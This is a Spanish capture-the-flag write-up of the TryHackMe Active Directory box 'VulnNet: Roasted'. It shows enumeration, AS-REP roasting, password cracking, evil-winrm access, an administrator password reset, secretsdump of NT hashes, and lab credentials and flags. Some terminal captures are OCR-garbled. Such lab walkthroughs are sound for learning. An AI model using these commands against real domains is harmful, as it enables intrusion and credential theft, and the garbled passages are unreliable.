La máquina en si mismo la idea teórica esta muy bien, pero ha habido un par de ocasiones que la he tenido que reiniciar porque por algún motivo no me encontraba lo que debería encontrar haciéndolo más frustrante. La máquina es entretenida, educativa, y sobretodo la parte hasta la escalada de privilegios bastante adecuada, lo único que le faltaba para tocar todo active directory al 100% es el uso de bloodhound con neo4j.

Dicho esto os dejo con la resolución de la máquina, no enfocado a ser una guía si no diferentes técnicas de enumeración y lo que hay en mente a la hora de enfrentarse a un active directory.

Primeramente hacemos el ping inicial, el cual no responde, es normal, estamos en un entorno windows, se puede comprobar cuando intentamos hacer un escáner con nmap y nos pide el parámetro -Pn para asi no enviar los pings.

Tambien en esta captura se puede observar los diferentes puertos abiertos, parece ser que la máquina se va a orientar en enumerar información mediante LDAP ya que no veo el puerto 88 Kerberos

Activo.

```
$ ping 10.10.166.85
PING 10.10.166.85 (10.10.166.85) 56(84) bytes of data.
    10 10 166 85 ning statistics
5 packets transmitted, 0 received, 100% packet loss, time 4090ms
  -(jouker®joukerm)-[~]
_s nmap 10.10.166.85
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 12:29 CET
Stats: 0:00:02 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 50.00% done; ETC: 12:29 (0:00:02 remaining)
Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn
Nmap done: 1 IP address (0 hosts up) scanned in 3.12 seconds
  -(jouke<u>r@</u>joukerm)-[~]
_$ nmap -Pn 10.10.166.85
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 12:30 CET
Stats: 0:00:01 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 11.95% done; ETC: 12:30 (0:00:07 remaining)
Stats: 0:00:08 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 85.14% done; ETC: 12:30 (0:00:01 remaining)
Nmap scan report for 10.10.166.85
Host is up (0.080s latency).
Not shown: 994 closed tcp ports (reset)
PORT
         STATE
                  SERVICE
135/tcp filtered msrpc
139/tcp | filtered netbios-ssn
389/tcp | filtered ldap
593/tcp filtered http-rpc-epmap
636/tcp filtered ldapssl
3389/tcp filtered ms-wbt-server
Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds
  -(jouker®joukerm)-[~]
```

He realizado un segundo escáner de puertos con los parámetros habituales y de forma extraña me han salido puertos que antes no me han salido, voy a tomar estos como referencia ya que ahora si que hace pinta que tenemos info a enumerar.

```
-(jouker®joukerm)-[~]
 -$ <u>sudo</u> nmap --open -n --min-rate 5000 -Pn -sV -sC -vvv 10.10.166.85
[sudo] contraseña para jouker:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-10 12:35 CET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:35
Completed NSE at 12:35, 0.00s elapsed
Initiating SYN Stealth Scan at 12:35
Scanning 10.10.166.85 [1000 ports]
Discovered open port 135/tcp on 10.10.166.85
Discovered open port 139/tcp on 10.10.166.85
Discovered open port 445/tcp on 10.10.166.85
Discovered open port 53/tcp on 10.10.166.85
Discovered open port 593/tcp on 10.10.166.85
Discovered open port 464/tcp on 10.10.166.85
Discovered open port 3268/tcp on 10.10.166.85
Discovered open port 636/tcp on 10.10.166.85
Discovered open port 3269/tcp on 10.10.166.85
Discovered open port 88/tcp on 10.10.166.85
Discovered open port 5985/tcp on 10.10.166.85
Discovered open port 389/tcp on 10.10.166.85
Completed SYN Stealth Scan at 12:35, 0.74s elapsed (1000 total ports)
```

Posible nombre de dominio que hay que poner en el /etc/hosts para así poder hacer las comandas de enumeración.

```
445/tcp open microsoft-ds? syn-ack ttl 127
445/tcp open kpasswd5? syn-ack ttl 127
593/tcp open ncacn_http syn-ack ttl 127
636/tcp open tcpwrapped syn-ack ttl 127
3268/tcp open tdap syn-ack ttl 127
5985/tcp open tcpwrapped syn-ack ttl 127
5985/tcp open http syn-ack ttl 127
```

`sudo nano /etc/passwd

```
GNU nano 8.3

127.0.0.1 localhost

127.0.1.1 joukerm

10.10.166.85 vulnnet-rst.local0. vulnnet-rst
```

Tirando de enum4linux para enumeración adicional veo que sin credenciales no puedo ver el SMB compartido, o eso parece, he de entrar más en detalle.

```
Domain Name: VULNNET-RST
Domain Sid: S-1-5-21-1589833671-435344116-4136949213
```

Importante antes de listar nada con impacket, tenemos que sincronizar la hora con ntpdate -u

```
(jouker@joukerm)-[~]
$\frac{\sudo}{\sudo} \text{ntpdate} -u \text{vulnnet-rst.local0.}
2025-03-10 12:48:18.802770 (+0100) +20.776170 +/- 0.032015 \text{vulnnet-rst.local0.} 10.10.166.85 \text{s1 no-leap}
CLOCK: time stepped by 20.776170
```

Con netexec comprovamos el nombre del dominio que es vulnnetrst.local.

```
| Cjouker@ joukerm)-[~] | Cjouker@ joukerm]-[~] | Cjoukerm]-[~] | Cjouker@ joukerm]-[~] | Cjouker@ joukerm]-[~] | Cjouker@ joukerm]-[~] | Cjouker@ jou
```

No encuentro nada con SMBMAP ni con SMBCLIENT de forma anónima sin credenciales.

```
Jouker® Joukerm)-|~|
         smbmap =H:vulnnet=rst.local:
                     11 0)|50:\1 UD/04 ||nk <u>l</u>oca\:|(no\ bou/0
                             /8:\0:4\ U//v4 |(:k|<u>r</u>)mo:):\[AF\IN//]18|202./29.1
                  -1\ 08: N:4\/TLS: ||:tial | Mcke \( \) fro\/\[ AF_I | ET ] / b \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( \) \( 
                   -11:)8|50:\1 VEX:FY||: (<u>K</u>) :)|. \
                                                                dat(ng
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans@gmail.com
                     11 08:50:41 \https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB: Connection
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[*] Closed 1 connections tls multi process:
      -(jouker⊕joukerm)-[~]: Received control message:
   -$ smbclientf+t 10.10?6.41 +U5"25+N0.0,peer-id 191,cipher AES-256-CBC
             03-Sharename42 OPTITypeIMPORTComment options modified
Reconnecting with SMB1 for workgroup listing.y: dst 0.0.0.0
do_connect: Connection to 10.10.6.41 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- who workgroup available . 0 IFACE=eth0 HWADDR=08:0
       (jouker@joukerm)-[~]
 $5smbclient:5L:10.10.6.41c+Uup" =Nt-smb2support
Can toload mb2supporter run testparm to debug it
            03-Sharename42 net Typee v4
                                                                                       Comment101.0.0/16 via 10.8.0.1 dev [NULL] table 0 metric
SMB1 disabled -- no workgroup availableence Completed
       -(jouker⊕joukerm)∓[~]rs: ping 5, ping-restart 120
```

Por RPCCLIENT TAMPOCO HAY NADA, ya que podemos entrar empleando uso de una null session pero una vez dentro no tenemos privilegios para enumerar a los usuarios.

He intentado hacer la comanda de impacket-GetNPUsers y un wordlist enorme de muchísimos usuarios, al parecer el usuario guest y administrator llaman a la atención porque no hace falta PREAUTH. Retiro lo dicho, es una negación de la negación pone que no tiene el NO preauth set. Esta wordlist no parece llevar a ninguna parte, por lo que mientras sigue haciendo voy a pensar en realizar una

# estrategia diferente:

Simpacket-defiblesrs -usersfile /usr/share/wordlists/seclists/Usernames/xato-net-19-million-usernames.txt -request -format hashcat -dc-ip 10.10.6.41 'vulnnet-rst.local' | grep -v 'Kerheros SessionError' /usr/share/doc/python3-impacket/examples/GethPUsers.py:165: DeprecationWarning: datetime.datetime.utcnow() is deprecated and scheduled for removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - datetime.timedeticatetime.utcnow() - datetime.timedeticated.putch.oncome -aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - datetime.timedeticated.putch.oncome -aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetimes in UTC: datetime.datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - land to removal in a future version. Use timezone-aware objects to represent datetime.utcnow() - lan

Después de un rato intentando he encontrado esta comanda de impacket para listar SID

Dejo una pequeña definición buena por parte de nuestro amigo el GPT:

¿Qué es lookupsid y para qué sirve?

lookupsid es un método utilizado en rpcclient para enumerar información del dominio a partir de un identificador de seguridad (SID).

Básicamente, permite descubrir usuarios y grupos del dominio a partir de un SID base.

Se usa principalmente en ataques de enumeración de usuarios y grupos dentro de un entorno Windows Active Directory.

```
$ impacket-lookupsid vulnnet-rst.local/guest@10.10.6.41
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Brute forcing SIDs at 10.10.6.41
[*] StringBinding ncacn_np:10.10.6.41[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-1589833671-435344116-4136949213
498: VULNNET-RST\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: VULNNET-RST\Administrator (SidTypeUser)
501: VULNNET-RST\Guest (SidTypeUser)
502: VULNNET-RST\krbtgt (SidTypeUser)
512: VULNNET-RST\Domain Admins (SidTypeGroup)
513: VULNNET-RST\Domain Users (SidTypeGroup)
514: VULNNET-RST\Domain Guests (SidTypeGroup)
515: VULNNET-RST\Domain Computers (SidTypeGroup)
516: VULNNET-RST\Domain Controllers (SidTypeGroup)
517: VULNNET-RST\Cert Publishers (SidTypeAlias)
518: VULNNET-RST\Schema Admins (SidTypeGroup)
519: VULNNET-RST\Enterprise Admins (SidTypeGroup)
520: VULNNET-RST\Group Policy Creator Owners (SidTypeGroup)
521: VULNNET-RST\Read-only Domain Controllers (SidTypeGroup)
522: VULNNET-RST\Cloneable Domain Controllers (SidTypeGroup)
525: VULNNET-RST\Protected Users (SidTypeGroup)
526: VULNNET-RST\Key Admins (SidTypeGroup)
527: VULNNET-RST\Enterprise Key Admins (SidTypeGroup)
553: VULNNET-RST\RAS and IAS Servers (SidTypeAlias)
571: VULNNET-RST\Allowed RODC Password Replication Group (SidTypeAlias)
572: VULNNET-RST\Denied RODC Password Replication Group (SidTypeAlias)
1000: VULNNET-RST\WIN-2B08M10E1M1$ (SidTypeUser)
1101: VULNNET-RST\DnsAdmins (SidTypeAlias)
1102: VULNNET-RST\DnsUpdateProxy (SidTypeGroup)
1104: VULNNET-RST\enterprise-core-vn (SidTypeUser)
1105: VULNNET-RST\a-whitehat (SidTypeUser)
1109: VULNNET-RST\t-skid (SidTypeUser)
1110: VULNNET-RST\j-goldenhand (SidTypeUser)
1111: VULNNET-RST\j-leet (SidTypeUser)
   (jouker® joukerm)-[~]
```

Le voy a dar especiales agradecimientos a s4vitar por esta comanda a continuación ya que esta me la he aprendido por hacer muchos directos, desde luego acababa antes si borraba manualmente las cosas, pero en este caso he decidido usar linux de forma pro con ese surtido de comandas:

```
scat users.txt | grep -i "SidTypeUser" | awk {'print $2'} | tr '\\' ' ' | awk {'print $2'}
Administrator
Guest
krbtgt
WIN-2B08M10E1M1$
enterprise-core-vn
a-whitehat
t-skid
j-goldenhand
j-leet
```

Hay 2 tipos de errores en impacket-getNPUsers: cuando el usuario no existe, y cuando el usuario existe, cuando el

usuario existe te dice con 1 linea si el usuario es o no es AS-REP-ROASTABLE, en este caso finalmente hemos hecho pleno con el user t-skid.

```
| content of the property of t
```

Password hash conseguido ahora que tenemos credenciales válidas de un usuario ya se puede tensar algo más.



Despues de un rato de que no me funcionase nada, era simplemente que la máquina de tryhackme se habia vuelto loca, por lo que he tenido que reiniciarla, ya que al ser una máquina fácil se me hace extraño el hecho de que no me funcionase ninguna comanda.



#### **KERBEROASTING:**

Abrimos hashcat con el modo 13100 y hacemos lo mismo con el mismo diccionario habitual de rockyou



Se supone que este es el password? Voy a provar a ver que tal

Pues se ve que si, tenemos acceso con winrm a la máquina victima con estas credenciales porque tenemos un "pwned!" (Aunque no se vea bien)

### Realizamos la comanda de win-rm:

```
$ evil-winrm -i 10.10.38.92 -u 'enterprise-core-vn' -p 'ry=ibfkfv,s6h,'
Evil-WinRM shell v3.7
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
whoami
^X^C^C
Warning: Press "y" to exit, press any other key to continue ^C
c^C
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Documents> cd ..
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Documents> cd ..
*Evil-WinRM* PS C:\Users\enterprise-core-vn> cd ..
*Evil-WinRM* PS C:\Users\enterprise-core-vn> cd ..
Cannot find path 'C:\Users\Desktop' because it does not exist.
At line:1 char:1
+ cd Desktop
                                 : ObjectNotFound: (C:\Users\Desktop:String) [Set-Location], ItemNotFoundException
    + CategoryInfo
     + FullyQualifiedErrorId : PathNotFound,Microsoft.PowerShell.Commands.SetLocationCommand
*Evil-WinRM* PS C:\Users> dir
^[[2~
    Directory: C:\Users
```

# Type user.txt

```
Directory: C:\Users\enterprise-core-vn
Mode
                          LastWriteTime
                                                     Length Name
d-r— 3/13/2021 3:43 PM
d-r— 3/13/2021 3:42 PM
d-r— 9/15/2018 12:19 AM
                                                                 Desktop
                                                                 Documents
                                                                 Downloads
                                                               Favorites
                                                               Links
                                                              Music
                                                              Pictures
                                                               Saved Games
                                                                Videos
*Evil-WinRM* PS C:\Users\enterprise-core-vn> cd Desktop
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> dir
     Directory: C:\Users\enterprise-core-vn\Desktop
Mode
                          LastWriteTime
                                                   Length Name
-a--- 3/13/2021 3:43 PM
                                                          39 user.txt
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop> type user.txt
THM{726b7c0baaac1455d05c827b5561f4ed}
*Evil-WinRM* PS C:\Users\enterprise-core-vn\Desktop>
```

y porfin tenemos acceso a recursos en SMB, con SMBMAP he listado todos los recursos a los que tengo acceso, y todos los recursos dentro de estos recursos, para ver que puede llegar a ser de mi

### interés.

```
(jouker® joukerm)-[~]
 $ smbmap -H vulnnet-rst.local -u "enterprise-core-vn" -p "ry=ibfkfv,s6h," -r
                           1(.
                                    :)
                          ||:
             |:\.
                                   \
                                      |:
                           1(1
                           ||:|_):)|.
SMBMap - Samba Share Enumerator v1.10.5 | Shawn Evans - ShawnDEvans∂gmail.com
                     https://github.com/ShawnDEvans/smbmap
[*] Detected 1 hosts serving SMB
[*] Established 1 SMB connections(s) and 1 authenticated session(s)
[+] IP: 10.10.38.92:445 Name: vulnnet-rst.local
                                                          Status: Authenticated
        Disk
                                                                  Permissions
                                                                                   Comment
        ADMIN$
                                                                  NO ACCESS
                                                                                   Remote Admin
                                                                  NO ACCESS
        C$
                                                                                   Default share
        IPC$
                                                                  READ ONLY
                                                                                   Remote IPC
        ./IPC$
        fr -- r -- r --
                                   3 Sun Dec 31 23:45:16 1600
                                                                  InitShutdown
                                   4 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  lsass
                                   3 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  ntsvcs
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  scerpc
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-3e0-0
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  epmapper
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-2a4-0
        fr--r--r--
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  LSM API service
        fr -- r -- r --
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-304-0
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  eventlog
                                                                  Winsock2\CatalogChangeListener-8-0
                                   1 Sun Dec 31 23:45:16 1600
        fr--r--r--
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-304-1
                                   3 Sun Dec 31 23:45:16 1600
                                                                  RpcProxy\49669
        fr--r--r--
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  642466998352c1a9
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  RpcProxy\593
                                   3 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  atsvc
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  TermSrv_API_service
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  Ctx_WinStation_API_service
                                   4 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  wkssvc
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-374-0
        fr--r--r--
                                   3 Sun Dec 31 23:45:16 1600
                                                                  SessEnvPublicRpc
        fr -- r -- r --
                                   4 Sun Dec 31 23:45:16 1600
                                                                  srvsvc
                                   1 Sun Dec 31 23:45:16 1600
                                                                  PIPE_EVENTROOT\CIMV2SCM EVENT PROVIDER
        fr--r--r--
                                   4 Sun Dec 31 23:45:16 1600
                                                                  W32TIME ALT
        fr -- r -- r --
                                   3 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  spoolss
                                                                  Winsock2\CatalogChangeListener-900-0
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                   3 Sun Dec 31 23:45:16 1600
        fr--r--r--
                                                                  netdfs
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-2f4-0
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-9e0-0
        fr--r--r--
                                   1 Sun Dec 31 23:45:16 1600
                                                                  Winsock2\CatalogChangeListener-9cc-0
```

# Este me llama particularmente la atención

```
3 Sun Dec 31 23:45:16 1600
                                                          Amazon\SSM\InstanceData\health
fr--r--r--
fr--r--r--
                          3 Sun Dec 31 23:45:16 1600
                                                          Amazon\SSM\InstanceData\termination
NETLOGON
                                                          READ ONLY
                                                                          Logon server share
./NETLOGON
dr--r--r--
                          0 Wed Mar 17 00:15:49 2021
dr--r--r--
                          0 Wed Mar 17 00:15:49 2021
fr--r--r--
                       2821 Wed Mar 17 00:18:14 2021
                                                         ResetPassword.vbs
SYSV0L
                                                          READ ONLY
                                                                          Logon server share
./SYSVOL
                          0 Thu May 11 20:20:41 2021
```

## Lo pillo con smbclient

Otras credenciales diferentes, esta vez de a-whitehat con esta password

```
Wscript.Echo "cscript ResetPassword
Wscript.Quit
End If

strUserNTName = "a-whitehat"
strPassword = "bNdKVkjv3RR9ht"

' Determine DNS domain name from RootDS
Set obiRootDSF = GetObject("LDAP://Root
```

Tambien podemos entrar por winrm.

Si hacemos un /whoami /all vemos que tenemos privilegios porque estamos en Domain Admins, por lo que podemos cambiarle el password

### al account administrator



Kerberos support for Dynamic Access Control on this device has been disabled. \*Evil-WinRM\* PS C:\Users\a-whitehat\Documents> net user administrator admin1234% The command completed successfully.

\*Evil-WinRM\* PS C:\Users\a-whitehat\Documents>

#### Finalmente terminó

```
-(jouker® joukerm)-[~]
$ evil-winrm -i 10.10.19.21 -u 'administrator' -p 'admin1234%'
Evil-WinRM shell v3.7
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ../Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
    Directory: C:\Users\Administrator\Desktop
Mode
                   LastWriteTime
                                         Length Name
             3/13/2021 3:34 PM
                                              39 system.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type system.txt
THM{16f45e3934293a57645f8d7bf71d8d4c}
*Evil-WinRM* PS C:\Users\Administrator\Desktop>
```

La realidad es que no siempre se tiene la oportunidad de hacer eso que hemos hecho antes, así que ahora de una forma más realista vamos a ver como podemos obtener las credenciales y que si que nos va a servir para futuras CTF.

```
iouker® joukerm)-[~]

simpacket-secretsdump vulnnet-rst.local/a-whitehat:bNdKVkjv3RR9ht@10.10.19.21
Impacket v0.13.0.dev0+20250220.93348.6315ebd5 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0×f10a2788aef5f622149a41b2c745f49a
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c2597747aa5e43022a3a3049a3c3b09d:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
```

Este es el formato para impacket-secrets dump con un usuario que SI que parece más vulnerable entonces nos lista todos los hashes, ahora podemos hacer un pass the hash con winrm para acceder igualmente a la sessión que queriamos de administrator pegando el hash NT

La comanda seria esta pero no me funciona por haber cambiado el password antes, el hash es el antiguo password, por eso no puedo entrar, pero la teoria es esta.